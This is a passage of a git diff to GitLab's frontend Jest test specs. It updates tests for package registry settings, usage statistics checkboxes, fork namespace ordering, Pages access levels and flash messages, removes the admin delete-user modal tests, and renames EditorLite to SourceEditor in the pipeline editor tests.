index 7e5383d7ff1..3a71af94d5a 100644
--- a/spec/frontend/packages_and_registries/settings/project/settings/components/settings_form_spec.js
+++ b/spec/frontend/packages_and_registries/settings/project/settings/components/settings_form_spec.js
@@ -132,9 +132,9 @@ describe('Settings Form', () => {
model | finder | fieldName | type | defaultValue
${'enabled'} | ${findEnableToggle} | ${'Enable'} | ${'toggle'} | ${false}
${'cadence'} | ${findCadenceDropdown} | ${'Cadence'} | ${'dropdown'} | ${'EVERY_DAY'}
- ${'keepN'} | ${findKeepNDropdown} | ${'Keep N'} | ${'dropdown'} | ${'TEN_TAGS'}
+ ${'keepN'} | ${findKeepNDropdown} | ${'Keep N'} | ${'dropdown'} | ${''}
${'nameRegexKeep'} | ${findKeepRegexInput} | ${'Keep Regex'} | ${'textarea'} | ${''}
- ${'olderThan'} | ${findOlderThanDropdown} | ${'OlderThan'} | ${'dropdown'} | ${'NINETY_DAYS'}
+ ${'olderThan'} | ${findOlderThanDropdown} | ${'OlderThan'} | ${'dropdown'} | ${''}
${'nameRegex'} | ${findRemoveRegexInput} | ${'Remove regex'} | ${'textarea'} | ${''}
`('$fieldName', ({ model, finder, type, defaultValue }) => {
it('matches snapshot', () => {
@@ -293,10 +293,10 @@ describe('Settings Form', () => {
input: {
cadence: 'EVERY_DAY',
enabled: true,
- keepN: 'TEN_TAGS',
+ keepN: null,
nameRegex: 'asdasdssssdfdf',
nameRegexKeep: 'sss',
- olderThan: 'NINETY_DAYS',
+ olderThan: null,
projectPath: 'path',
},
});
@@ -321,9 +321,7 @@ describe('Settings Form', () => {
await waitForPromises();
await wrapper.vm.$nextTick();
- expect(wrapper.vm.$toast.show).toHaveBeenCalledWith(UPDATE_SETTINGS_SUCCESS_MESSAGE, {
- type: 'success',
- });
+ expect(wrapper.vm.$toast.show).toHaveBeenCalledWith(UPDATE_SETTINGS_SUCCESS_MESSAGE);
});
describe('when submit fails', () => {
@@ -339,9 +337,7 @@ describe('Settings Form', () => {
await waitForPromises();
await wrapper.vm.$nextTick();
- expect(wrapper.vm.$toast.show).toHaveBeenCalledWith('foo', {
- type: 'error',
- });
+ expect(wrapper.vm.$toast.show).toHaveBeenCalledWith('foo');
});
});
@@ -355,9 +351,7 @@ describe('Settings Form', () => {
await waitForPromises();
await wrapper.vm.$nextTick();
- expect(wrapper.vm.$toast.show).toHaveBeenCalledWith(UPDATE_SETTINGS_ERROR_MESSAGE, {
- type: 'error',
- });
+ expect(wrapper.vm.$toast.show).toHaveBeenCalledWith(UPDATE_SETTINGS_ERROR_MESSAGE);
});
it('parses the error messages', async () => {
diff --git a/spec/frontend/packages_and_registries/settings/project/settings/utils_spec.js b/spec/frontend/packages_and_registries/settings/project/settings/utils_spec.js
index 4c81671cd46..ed126d87ae3 100644
--- a/spec/frontend/packages_and_registries/settings/project/settings/utils_spec.js
+++ b/spec/frontend/packages_and_registries/settings/project/settings/utils_spec.js
@@ -12,6 +12,7 @@ describe('Utils', () => {
olderThanTranslationGenerator,
);
expect(result).toEqual([
+ { key: null, label: '' },
{ variable: 1, label: '1 day' },
{ variable: 2, label: '2 days' },
]);
diff --git a/spec/frontend/pager_spec.js b/spec/frontend/pager_spec.js
index 95679a51c6d..ff352303143 100644
--- a/spec/frontend/pager_spec.js
+++ b/spec/frontend/pager_spec.js
@@ -6,6 +6,7 @@ import { removeParams } from '~/lib/utils/url_utility';
import Pager from '~/pager';
jest.mock('~/lib/utils/url_utility', () => ({
+ ...jest.requireActual('~/lib/utils/url_utility'),
removeParams: jest.fn().mockName('removeParams'),
}));
diff --git a/spec/frontend/pages/admin/application_settings/metrics_and_profiling/usage_statistics_spec.js b/spec/frontend/pages/admin/application_settings/metrics_and_profiling/usage_statistics_spec.js
new file mode 100644
index 00000000000..858c7b76ac8
--- /dev/null
+++ b/spec/frontend/pages/admin/application_settings/metrics_and_profiling/usage_statistics_spec.js
@@ -0,0 +1,57 @@
+import initSetHelperText, {
+ HELPER_TEXT_SERVICE_PING_DISABLED,
+ HELPER_TEXT_SERVICE_PING_ENABLED,
+} from '~/pages/admin/application_settings/metrics_and_profiling/usage_statistics';
+
+describe('UsageStatistics', () => {
+ const FIXTURE = 'application_settings/usage.html';
+ let usagePingCheckBox;
+ let usagePingFeaturesCheckBox;
+ let usagePingFeaturesLabel;
+ let usagePingFeaturesHelperText;
+
+ beforeEach(() => {
+ loadFixtures(FIXTURE);
+ initSetHelperText();
+ usagePingCheckBox = document.getElementById('application_setting_usage_ping_enabled');
+ usagePingFeaturesCheckBox = document.getElementById(
+ 'application_setting_usage_ping_features_enabled',
+ );
+ usagePingFeaturesLabel = document.getElementById('service_ping_features_label');
+ usagePingFeaturesHelperText = document.getElementById('service_ping_features_helper_text');
+ });
+
+ const expectEnabledUsagePingFeaturesCheckBox = () => {
+ expect(usagePingFeaturesCheckBox.classList.contains('gl-cursor-not-allowed')).toBe(false);
+ expect(usagePingFeaturesHelperText.textContent).toEqual(HELPER_TEXT_SERVICE_PING_ENABLED);
+ };
+
+ const expectDisabledUsagePingFeaturesCheckBox = () => {
+ expect(usagePingFeaturesLabel.classList.contains('gl-cursor-not-allowed')).toBe(true);
+ expect(usagePingFeaturesHelperText.textContent).toEqual(HELPER_TEXT_SERVICE_PING_DISABLED);
+ };
+
+ describe('Registration Features checkbox', () => {
+ it('is disabled when Usage Ping checkbox is unchecked', () => {
+ expect(usagePingCheckBox.checked).toBe(false);
+ expectDisabledUsagePingFeaturesCheckBox();
+ });
+
+ it('is enabled when Usage Ping checkbox is checked', () => {
+ usagePingCheckBox.click();
+ expect(usagePingCheckBox.checked).toBe(true);
+ expectEnabledUsagePingFeaturesCheckBox();
+ });
+
+ it('is switched to disabled when Usage Ping checkbox is unchecked ', () => {
+ usagePingCheckBox.click();
+ usagePingFeaturesCheckBox.click();
+ expectEnabledUsagePingFeaturesCheckBox();
+
+ usagePingCheckBox.click();
+ expect(usagePingCheckBox.checked).toBe(false);
+ expect(usagePingFeaturesCheckBox.checked).toBe(false);
+ expectDisabledUsagePingFeaturesCheckBox();
+ });
+ });
+});
diff --git a/spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap b/spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap
deleted file mode 100644
index 4c644a0d05f..00000000000
--- a/spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap
+++ /dev/null
@@ -1,79 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`User Operation confirmation modal renders modal with form included 1`] = `
-<div>
- <p>
- <gl-sprintf-stub
- message="content"
- />
- </p>
-
- <oncall-schedules-list-stub
- schedules="schedule1,schedule2"
- />
-
- <p>
- <gl-sprintf-stub
- message="To confirm, type %{username}"
- />
- </p>
-
- <form
- action="delete-url"
- method="post"
- >
- <input
- name="_method"
- type="hidden"
- value="delete"
- />
-
- <input
- name="authenticity_token"
- type="hidden"
- value="csrf"
- />
-
- <gl-form-input-stub
- autocomplete="off"
- autofocus=""
- name="username"
- type="text"
- value=""
- />
- </form>
- <gl-button-stub
- buttontextclasses=""
- category="primary"
- icon=""
- size="medium"
- variant="default"
- >
- Cancel
- </gl-button-stub>
-
- <gl-button-stub
- buttontextclasses=""
- category="secondary"
- disabled="true"
- icon=""
- size="medium"
- variant="danger"
- >
-
- secondaryAction
-
- </gl-button-stub>
-
- <gl-button-stub
- buttontextclasses=""
- category="primary"
- disabled="true"
- icon=""
- size="medium"
- variant="danger"
- >
- action
- </gl-button-stub>
-</div>
-`;
diff --git a/spec/frontend/pages/admin/users/components/delete_user_modal_spec.js b/spec/frontend/pages/admin/users/components/delete_user_modal_spec.js
deleted file mode 100644
index 93d9ee43179..00000000000
--- a/spec/frontend/pages/admin/users/components/delete_user_modal_spec.js
+++ /dev/null
@@ -1,167 +0,0 @@
-import { GlButton, GlFormInput } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import DeleteUserModal from '~/pages/admin/users/components/delete_user_modal.vue';
-import OncallSchedulesList from '~/vue_shared/components/oncall_schedules_list.vue';
-import ModalStub from './stubs/modal_stub';
-
-const TEST_DELETE_USER_URL = 'delete-url';
-const TEST_BLOCK_USER_URL = 'block-url';
-const TEST_CSRF = 'csrf';
-
-describe('User Operation confirmation modal', () => {
- let wrapper;
- let formSubmitSpy;
-
- const findButton = (variant, category) =>
- wrapper
- .findAll(GlButton)
- .filter((w) => w.attributes('variant') === variant && w.attributes('category') === category)
- .at(0);
- const findForm = () => wrapper.find('form');
- const findUsernameInput = () => wrapper.findComponent(GlFormInput);
- const findPrimaryButton = () => findButton('danger', 'primary');
- const findSecondaryButton = () => findButton('danger', 'secondary');
- const findAuthenticityToken = () => new FormData(findForm().element).get('authenticity_token');
- const getUsername = () => findUsernameInput().attributes('value');
- const getMethodParam = () => new FormData(findForm().element).get('_method');
- const getFormAction = () => findForm().attributes('action');
- const findOnCallSchedulesList = () => wrapper.findComponent(OncallSchedulesList);
-
- const setUsername = (username) => {
- findUsernameInput().vm.$emit('input', username);
- };
-
- const username = 'username';
- const badUsername = 'bad_username';
- const oncallSchedules = '["schedule1", "schedule2"]';
-
- const createComponent = (props = {}) => {
- wrapper = shallowMount(DeleteUserModal, {
- propsData: {
- username,
- title: 'title',
- content: 'content',
- action: 'action',
- secondaryAction: 'secondaryAction',
- deleteUserUrl: TEST_DELETE_USER_URL,
- blockUserUrl: TEST_BLOCK_USER_URL,
- csrfToken: TEST_CSRF,
- oncallSchedules,
- ...props,
- },
- stubs: {
- GlModal: ModalStub,
- },
- });
- };
-
- beforeEach(() => {
- formSubmitSpy = jest.spyOn(HTMLFormElement.prototype, 'submit').mockImplementation();
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- it('renders modal with form included', () => {
- createComponent();
- expect(wrapper.element).toMatchSnapshot();
- });
-
- describe('on created', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('has disabled buttons', () => {
- expect(findPrimaryButton().attributes('disabled')).toBeTruthy();
- expect(findSecondaryButton().attributes('disabled')).toBeTruthy();
- });
- });
-
- describe('with incorrect username', () => {
- beforeEach(() => {
- createComponent();
- setUsername(badUsername);
-
- return wrapper.vm.$nextTick();
- });
-
- it('shows incorrect username', () => {
- expect(getUsername()).toEqual(badUsername);
- });
-
- it('has disabled buttons', () => {
- expect(findPrimaryButton().attributes('disabled')).toBeTruthy();
- expect(findSecondaryButton().attributes('disabled')).toBeTruthy();
- });
- });
-
- describe('with correct username', () => {
- beforeEach(() => {
- createComponent();
- setUsername(username);
-
- return wrapper.vm.$nextTick();
- });
-
- it('shows correct username', () => {
- expect(getUsername()).toEqual(username);
- });
-
- it('has enabled buttons', () => {
- expect(findPrimaryButton().attributes('disabled')).toBeFalsy();
- expect(findSecondaryButton().attributes('disabled')).toBeFalsy();
- });
-
- describe('when primary action is submitted', () => {
- beforeEach(() => {
- findPrimaryButton().vm.$emit('click');
-
- return wrapper.vm.$nextTick();
- });
-
- it('clears the input', () => {
- expect(getUsername()).toEqual('');
- });
-
- it('has correct form attributes and calls submit', () => {
- expect(getFormAction()).toBe(TEST_DELETE_USER_URL);
- expect(getMethodParam()).toBe('delete');
- expect(findAuthenticityToken()).toBe(TEST_CSRF);
- expect(formSubmitSpy).toHaveBeenCalled();
- });
- });
-
- describe('when secondary action is submitted', () => {
- beforeEach(() => {
- findSecondaryButton().vm.$emit('click');
-
- return wrapper.vm.$nextTick();
- });
-
- it('has correct form attributes and calls submit', () => {
- expect(getFormAction()).toBe(TEST_BLOCK_USER_URL);
- expect(getMethodParam()).toBe('put');
- expect(findAuthenticityToken()).toBe(TEST_CSRF);
- expect(formSubmitSpy).toHaveBeenCalled();
- });
- });
- });
-
- describe('Related oncall-schedules list', () => {
- it('does NOT render the list when user has no related schedules', () => {
- createComponent({ oncallSchedules: '[]' });
- expect(findOnCallSchedulesList().exists()).toBe(false);
- });
-
- it('renders the list when user has related schedules', () => {
- createComponent();
-
- const schedules = findOnCallSchedulesList();
- expect(schedules.exists()).toBe(true);
- expect(schedules.props('schedules')).toEqual(JSON.parse(oncallSchedules));
- });
- });
-});
diff --git a/spec/frontend/pages/admin/users/components/user_modal_manager_spec.js b/spec/frontend/pages/admin/users/components/user_modal_manager_spec.js
deleted file mode 100644
index 3669bc40d7e..00000000000
--- a/spec/frontend/pages/admin/users/components/user_modal_manager_spec.js
+++ /dev/null
@@ -1,126 +0,0 @@
-import { mount } from '@vue/test-utils';
-import UserModalManager from '~/pages/admin/users/components/user_modal_manager.vue';
-import ModalStub from './stubs/modal_stub';
-
-describe('Users admin page Modal Manager', () => {
- let wrapper;
-
- const modalConfiguration = {
- action1: {
- title: 'action1',
- content: 'Action Modal 1',
- },
- action2: {
- title: 'action2',
- content: 'Action Modal 2',
- },
- };
-
- const findModal = () => wrapper.find({ ref: 'modal' });
-
- const createComponent = (props = {}) => {
- wrapper = mount(UserModalManager, {
- propsData: {
- selector: '.js-delete-user-modal-button',
- modalConfiguration,
- csrfToken: 'dummyCSRF',
- ...props,
- },
- stubs: {
- DeleteUserModal: ModalStub,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('render behavior', () => {
- it('does not renders modal when initialized', () => {
- createComponent();
- expect(findModal().exists()).toBeFalsy();
- });
-
- it('throws if action has no proper configuration', () => {
- createComponent({
- modalConfiguration: {},
- });
- expect(() => wrapper.vm.show({ glModalAction: 'action1' })).toThrow();
- });
-
- it('renders modal with expected props when valid configuration is passed', () => {
- createComponent();
- wrapper.vm.show({
- glModalAction: 'action1',
- extraProp: 'extraPropValue',
- });
-
- return wrapper.vm.$nextTick().then(() => {
- const modal = findModal();
- expect(modal.exists()).toBeTruthy();
- expect(modal.vm.$attrs.csrfToken).toEqual('dummyCSRF');
- expect(modal.vm.$attrs.extraProp).toEqual('extraPropValue');
- expect(modal.vm.showWasCalled).toBeTruthy();
- });
- });
- });
-
- describe('click handling', () => {
- let button;
- let button2;
-
- const createButtons = () => {
- button = document.createElement('button');
- button2 = document.createElement('button');
- button.setAttribute('class', 'js-delete-user-modal-button');
- button.setAttribute('data-username', 'foo');
- button.setAttribute('data-gl-modal-action', 'action1');
- button.setAttribute('data-block-user-url', '/block');
- button.setAttribute('data-delete-user-url', '/delete');
- document.body.appendChild(button);
- document.body.appendChild(button2);
- };
- const removeButtons = () => {
- button.remove();
- button = null;
- button2.remove();
- button2 = null;
- };
-
- beforeEach(() => {
- createButtons();
- createComponent();
- });
-
- afterEach(() => {
- removeButtons();
- });
-
- it('renders the modal when the button is clicked', async () => {
- button.click();
-
- await wrapper.vm.$nextTick();
-
- expect(findModal().exists()).toBe(true);
- });
-
- it('does not render the modal when a misconfigured button is clicked', async () => {
- button.removeAttribute('data-gl-modal-action');
- button.click();
-
- await wrapper.vm.$nextTick();
-
- expect(findModal().exists()).toBe(false);
- });
-
- it('does not render the modal when a button without the selector class is clicked', async () => {
- button2.click();
-
- await wrapper.vm.$nextTick();
-
- expect(findModal().exists()).toBe(false);
- });
- });
-});
diff --git a/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js b/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js
index c80ccfa8256..dd617b1ffc2 100644
--- a/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js
+++ b/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js
@@ -29,10 +29,12 @@ describe('ForkForm component', () => {
const MOCK_NAMESPACES_RESPONSE = [
{
name: 'one',
+ full_name: 'one-group/one',
id: 1,
},
{
name: 'two',
+ full_name: 'two-group/two',
id: 2,
},
];
@@ -155,7 +157,7 @@ describe('ForkForm component', () => {
describe('forks namespaces', () => {
beforeEach(() => {
mockGetRequest({ namespaces: MOCK_NAMESPACES_RESPONSE });
- createComponent();
+ createFullComponent();
});
it('make GET request from endpoint', async () => {
@@ -178,8 +180,23 @@ describe('ForkForm component', () => {
const optionsArray = findForkUrlInput().findAll('option');
expect(optionsArray).toHaveLength(MOCK_NAMESPACES_RESPONSE.length + 1);
- expect(optionsArray.at(1).text()).toBe(MOCK_NAMESPACES_RESPONSE[0].name);
- expect(optionsArray.at(2).text()).toBe(MOCK_NAMESPACES_RESPONSE[1].name);
+ expect(optionsArray.at(1).text()).toBe(MOCK_NAMESPACES_RESPONSE[0].full_name);
+ expect(optionsArray.at(2).text()).toBe(MOCK_NAMESPACES_RESPONSE[1].full_name);
+ });
+
+ it('set namespaces in alphabetical order', async () => {
+ const namespace = {
+ name: 'three',
+ full_name: 'aaa/three',
+ id: 3,
+ };
+ mockGetRequest({
+ namespaces: [...MOCK_NAMESPACES_RESPONSE, namespace],
+ });
+ createComponent();
+ await axios.waitForAll();
+
+ expect(wrapper.vm.namespaces).toEqual([namespace, ...MOCK_NAMESPACES_RESPONSE]);
});
});
diff --git a/spec/frontend/pages/projects/forks/new/components/fork_groups_list_item_spec.js b/spec/frontend/pages/projects/forks/new/components/fork_groups_list_item_spec.js
index b5425fa6f2e..490dafed4ae 100644
--- a/spec/frontend/pages/projects/forks/new/components/fork_groups_list_item_spec.js
+++ b/spec/frontend/pages/projects/forks/new/components/fork_groups_list_item_spec.js
@@ -34,10 +34,10 @@ describe('Fork groups list item component', () => {
});
};
- it('renders pending removal badge if applicable', () => {
+ it('renders pending deletion badge if applicable', () => {
createWrapper({ group: { ...DEFAULT_GROUP_DATA, marked_for_deletion: true } });
- expect(wrapper.find(GlBadge).text()).toBe('pending removal');
+ expect(wrapper.find(GlBadge).text()).toBe('pending deletion');
});
it('renders go to fork button if has forked project', () => {
diff --git a/spec/frontend/pages/projects/new/components/app_spec.js b/spec/frontend/pages/projects/new/components/app_spec.js
index b604e636243..ab8c6d529a8 100644
--- a/spec/frontend/pages/projects/new/components/app_spec.js
+++ b/spec/frontend/pages/projects/new/components/app_spec.js
@@ -1,13 +1,10 @@
import { shallowMount } from '@vue/test-utils';
-import { assignGitlabExperiment } from 'helpers/experimentation_helper';
import App from '~/pages/projects/new/components/app.vue';
import NewNamespacePage from '~/vue_shared/new_namespace/new_namespace_page.vue';
describe('Experimental new project creation app', () => {
let wrapper;
- const findNewNamespacePage = () => wrapper.findComponent(NewNamespacePage);
-
const createComponent = (propsData) => {
wrapper = shallowMount(App, { propsData });
};
@@ -16,36 +13,6 @@ describe('Experimental new project creation app', () => {
wrapper.destroy();
});
- describe('new_repo experiment', () => {
- it('passes new_repo experiment', () => {
- createComponent();
-
- expect(findNewNamespacePage().props().experiment).toBe('new_repo');
- });
-
- describe('when in the candidate variant', () => {
- assignGitlabExperiment('new_repo', 'candidate');
-
- it('has "repository" in the panel title', () => {
- createComponent();
-
- expect(findNewNamespacePage().props().panels[0].title).toBe(
- 'Create blank project/repository',
- );
- });
- });
-
- describe('when in the control variant', () => {
- assignGitlabExperiment('new_repo', 'control');
-
- it('has "project" in the panel title', () => {
- createComponent();
-
- expect(findNewNamespacePage().props().panels[0].title).toBe('Create blank project');
- });
- });
- });
-
it('passes custom new project guideline text to underlying component', () => {
const DEMO_GUIDELINES = 'Demo guidelines';
const guidelineSelector = '#new-project-guideline';
diff --git a/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js b/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js
index 878721666ff..4c253f0610b 100644
--- a/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js
+++ b/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js
@@ -94,6 +94,8 @@ describe('Settings Panel', () => {
const findPackageSettings = () => wrapper.find({ ref: 'package-settings' });
const findPackagesEnabledInput = () => wrapper.find('[name="project[packages_enabled]"]');
const findPagesSettings = () => wrapper.find({ ref: 'pages-settings' });
+ const findPagesAccessLevels = () =>
+ wrapper.find('[name="project[project_feature_attributes][pages_access_level]"]');
const findEmailSettings = () => wrapper.find({ ref: 'email-settings' });
const findShowDefaultAwardEmojis = () =>
wrapper.find('input[name="project[project_setting_attributes][show_default_award_emojis]"]');
@@ -479,6 +481,29 @@ describe('Settings Panel', () => {
describe('Pages', () => {
it.each`
+ visibilityLevel | pagesAccessControlForced | output
+ ${visibilityOptions.PRIVATE} | ${true} | ${[[visibilityOptions.INTERNAL, 'Only Project Members'], [visibilityOptions.PUBLIC, 'Everyone With Access']]}
+ ${visibilityOptions.PRIVATE} | ${false} | ${[[visibilityOptions.INTERNAL, 'Only Project Members'], [visibilityOptions.PUBLIC, 'Everyone With Access'], [30, 'Everyone']]}
+ ${visibilityOptions.INTERNAL} | ${true} | ${[[visibilityOptions.INTERNAL, 'Only Project Members'], [visibilityOptions.PUBLIC, 'Everyone With Access']]}
+ ${visibilityOptions.INTERNAL} | ${false} | ${[[visibilityOptions.INTERNAL, 'Only Project Members'], [visibilityOptions.PUBLIC, 'Everyone With Access'], [30, 'Everyone']]}
+ ${visibilityOptions.PUBLIC} | ${true} | ${[[visibilityOptions.INTERNAL, 'Only Project Members'], [visibilityOptions.PUBLIC, 'Everyone With Access']]}
+ ${visibilityOptions.PUBLIC} | ${false} | ${[[visibilityOptions.INTERNAL, 'Only Project Members'], [visibilityOptions.PUBLIC, 'Everyone With Access'], [30, 'Everyone']]}
+ `(
+ 'renders correct options when pagesAccessControlForced is $pagesAccessControlForced and visibilityLevel is $visibilityLevel',
+ async ({ visibilityLevel, pagesAccessControlForced, output }) => {
+ wrapper = mountComponent({
+ pagesAvailable: true,
+ pagesAccessControlEnabled: true,
+ pagesAccessControlForced,
+ });
+
+ await findProjectVisibilityLevelInput().trigger('change', visibilityLevel);
+
+ expect(findPagesAccessLevels().props('options')).toStrictEqual(output);
+ },
+ );
+
+ it.each`
pagesAvailable | pagesAccessControlEnabled | visibility
${true} | ${true} | ${'show'}
${true} | ${false} | ${'hide'}
diff --git a/spec/frontend/persistent_user_callout_spec.js b/spec/frontend/persistent_user_callout_spec.js
index 403142d7ff7..1e51ddf909a 100644
--- a/spec/frontend/persistent_user_callout_spec.js
+++ b/spec/frontend/persistent_user_callout_spec.js
@@ -1,6 +1,6 @@
import MockAdapter from 'axios-mock-adapter';
import waitForPromises from 'helpers/wait_for_promises';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import PersistentUserCallout from '~/persistent_user_callout';
@@ -96,9 +96,9 @@ describe('PersistentUserCallout', () => {
return waitForPromises().then(() => {
expect(persistentUserCallout.container.remove).not.toHaveBeenCalled();
- expect(Flash).toHaveBeenCalledWith(
- 'An error occurred while dismissing the alert. Refresh the page and try again.',
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'An error occurred while dismissing the alert. Refresh the page and try again.',
+ });
});
});
});
@@ -203,9 +203,10 @@ describe('PersistentUserCallout', () => {
return waitForPromises().then(() => {
expect(window.location.assign).not.toHaveBeenCalled();
- expect(Flash).toHaveBeenCalledWith(
- 'An error occurred while acknowledging the notification. Refresh the page and try again.',
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message:
+ 'An error occurred while acknowledging the notification. Refresh the page and try again.',
+ });
});
});
});
diff --git a/spec/frontend/pipeline_editor/components/editor/ci_config_merged_preview_spec.js b/spec/frontend/pipeline_editor/components/editor/ci_config_merged_preview_spec.js
index fb191fccb0d..7dd8a77d055 100644
--- a/spec/frontend/pipeline_editor/components/editor/ci_config_merged_preview_spec.js
+++ b/spec/frontend/pipeline_editor/components/editor/ci_config_merged_preview_spec.js
@@ -8,7 +8,7 @@ import { mockLintResponse, mockCiConfigPath } from '../../mock_data';
describe('Text editor component', () => {
let wrapper;
- const MockEditorLite = {
+ const MockSourceEditor = {
template: '<div/>',
props: ['value', 'fileName', 'editorOptions'],
mounted() {
@@ -26,13 +26,13 @@ describe('Text editor component', () => {
ciConfigPath: mockCiConfigPath,
},
stubs: {
- EditorLite: MockEditorLite,
+ SourceEditor: MockSourceEditor,
},
});
};
const findIcon = () => wrapper.findComponent(GlIcon);
- const findEditor = () => wrapper.findComponent(MockEditorLite);
+ const findEditor = () => wrapper.findComponent(MockSourceEditor);
afterEach(() => {
wrapper.destroy();
diff --git a/spec/frontend/pipeline_editor/components/editor/ci_editor_header_spec.js b/spec/frontend/pipeline_editor/components/editor/ci_editor_header_spec.js
new file mode 100644
index 00000000000..3ee53d4a055
--- /dev/null
+++ b/spec/frontend/pipeline_editor/components/editor/ci_editor_header_spec.js
@@ -0,0 +1,53 @@
+import { GlButton } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { mockTracking, unmockTracking } from 'helpers/tracking_helper';
+import CiEditorHeader from '~/pipeline_editor/components/editor/ci_editor_header.vue';
+import {
+ pipelineEditorTrackingOptions,
+ TEMPLATE_REPOSITORY_URL,
+} from '~/pipeline_editor/constants';
+
+describe('CI Editor Header', () => {
+ let wrapper;
+ let trackingSpy = null;
+
+ const createComponent = () => {
+ wrapper = shallowMount(CiEditorHeader, {});
+ };
+
+ const findLinkBtn = () => wrapper.findComponent(GlButton);
+
+ afterEach(() => {
+ wrapper.destroy();
+ unmockTracking();
+ });
+
+ describe('link button', () => {
+ beforeEach(() => {
+ createComponent();
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
+ });
+
+ it('finds the browse template button', () => {
+ expect(findLinkBtn().exists()).toBe(true);
+ });
+
+ it('contains the link to the template repo', () => {
+ expect(findLinkBtn().attributes('href')).toBe(TEMPLATE_REPOSITORY_URL);
+ });
+
+ it('has the external-link icon', () => {
+ expect(findLinkBtn().props('icon')).toBe('external-link');
+ });
+
+ it('tracks the click on the browse button', async () => {
+ const { label, actions } = pipelineEditorTrackingOptions;
+
+ await findLinkBtn().vm.$emit('click');
+
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, actions.browse_templates, {
+ label,
+ });
+ });
+ });
+});
diff --git a/spec/frontend/pipeline_editor/components/editor/text_editor_spec.js b/spec/frontend/pipeline_editor/components/editor/text_editor_spec.js
index 6f9245e39aa..c6c7f593cc5 100644
--- a/spec/frontend/pipeline_editor/components/editor/text_editor_spec.js
+++ b/spec/frontend/pipeline_editor/components/editor/text_editor_spec.js
@@ -1,7 +1,7 @@
import { shallowMount } from '@vue/test-utils';
import { EDITOR_READY_EVENT } from '~/editor/constants';
-import { EditorLiteExtension } from '~/editor/extensions/editor_lite_extension_base';
+import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
import TextEditor from '~/pipeline_editor/components/editor/text_editor.vue';
import {
mockCiConfigPath,
@@ -19,7 +19,7 @@ describe('Pipeline Editor | Text editor component', () => {
let mockUse;
let mockRegisterCiSchema;
- const MockEditorLite = {
+ const MockSourceEditor = {
template: '<div/>',
props: ['value', 'fileName'],
mounted() {
@@ -55,15 +55,15 @@ describe('Pipeline Editor | Text editor component', () => {
[EDITOR_READY_EVENT]: editorReadyListener,
},
stubs: {
- EditorLite: MockEditorLite,
+ SourceEditor: MockSourceEditor,
},
});
};
- const findEditor = () => wrapper.findComponent(MockEditorLite);
+ const findEditor = () => wrapper.findComponent(MockSourceEditor);
beforeEach(() => {
- EditorLiteExtension.deferRerender = jest.fn();
+ SourceEditorExtension.deferRerender = jest.fn();
});
afterEach(() => {
diff --git a/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js b/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js
index e731ad8695e..85b51d08f88 100644
--- a/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js
+++ b/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js
@@ -207,7 +207,8 @@ describe('Pipeline editor branch switcher', () => {
it('updates session history when selecting a different branch', async () => {
const branch = findDropdownItems().at(1);
- await branch.vm.$emit('click');
+ branch.vm.$emit('click');
+ await waitForPromises();
expect(window.history.pushState).toHaveBeenCalled();
expect(window.history.pushState.mock.calls[0][2]).toContain(`?branch_name=${branch.text()}`);
@@ -215,7 +216,8 @@ describe('Pipeline editor branch switcher', () => {
it('does not update session history when selecting current branch', async () => {
const branch = findDropdownItems().at(0);
- await branch.vm.$emit('click');
+ branch.vm.$emit('click');
+ await waitForPromises();
expect(branch.text()).toBe(mockDefaultBranch);
expect(window.history.pushState).not.toHaveBeenCalled();
@@ -227,7 +229,8 @@ describe('Pipeline editor branch switcher', () => {
expect(branch.text()).not.toBe(mockDefaultBranch);
expect(wrapper.emitted('refetchContent')).toBeUndefined();
- await branch.vm.$emit('click');
+ branch.vm.$emit('click');
+ await waitForPromises();
expect(wrapper.emitted('refetchContent')).toBeDefined();
expect(wrapper.emitted('refetchContent')).toHaveLength(1);
@@ -239,10 +242,20 @@ describe('Pipeline editor branch switcher', () => {
expect(branch.text()).toBe(mockDefaultBranch);
expect(wrapper.emitted('refetchContent')).toBeUndefined();
- await branch.vm.$emit('click');
+ branch.vm.$emit('click');
+ await waitForPromises();
expect(wrapper.emitted('refetchContent')).toBeUndefined();
});
+
+ it('emits the updateCommitSha event when selecting a different branch', async () => {
+ expect(wrapper.emitted('updateCommitSha')).toBeUndefined();
+
+ const branch = findDropdownItems().at(1);
+ branch.vm.$emit('click');
+
+ expect(wrapper.emitted('updateCommitSha')).toHaveLength(1);
+ });
});
describe('when searching', () => {
diff --git a/spec/frontend/pipeline_editor/components/ui/editor_tab_spec.js b/spec/frontend/pipeline_editor/components/ui/editor_tab_spec.js
index 8def83d578b..3becf82ed6e 100644
--- a/spec/frontend/pipeline_editor/components/ui/editor_tab_spec.js
+++ b/spec/frontend/pipeline_editor/components/ui/editor_tab_spec.js
@@ -6,7 +6,7 @@ import EditorTab from '~/pipeline_editor/components/ui/editor_tab.vue';
const mockContent1 = 'MOCK CONTENT 1';
const mockContent2 = 'MOCK CONTENT 2';
-const MockEditorLite = {
+const MockSourceEditor = {
template: '<div>EDITOR</div>',
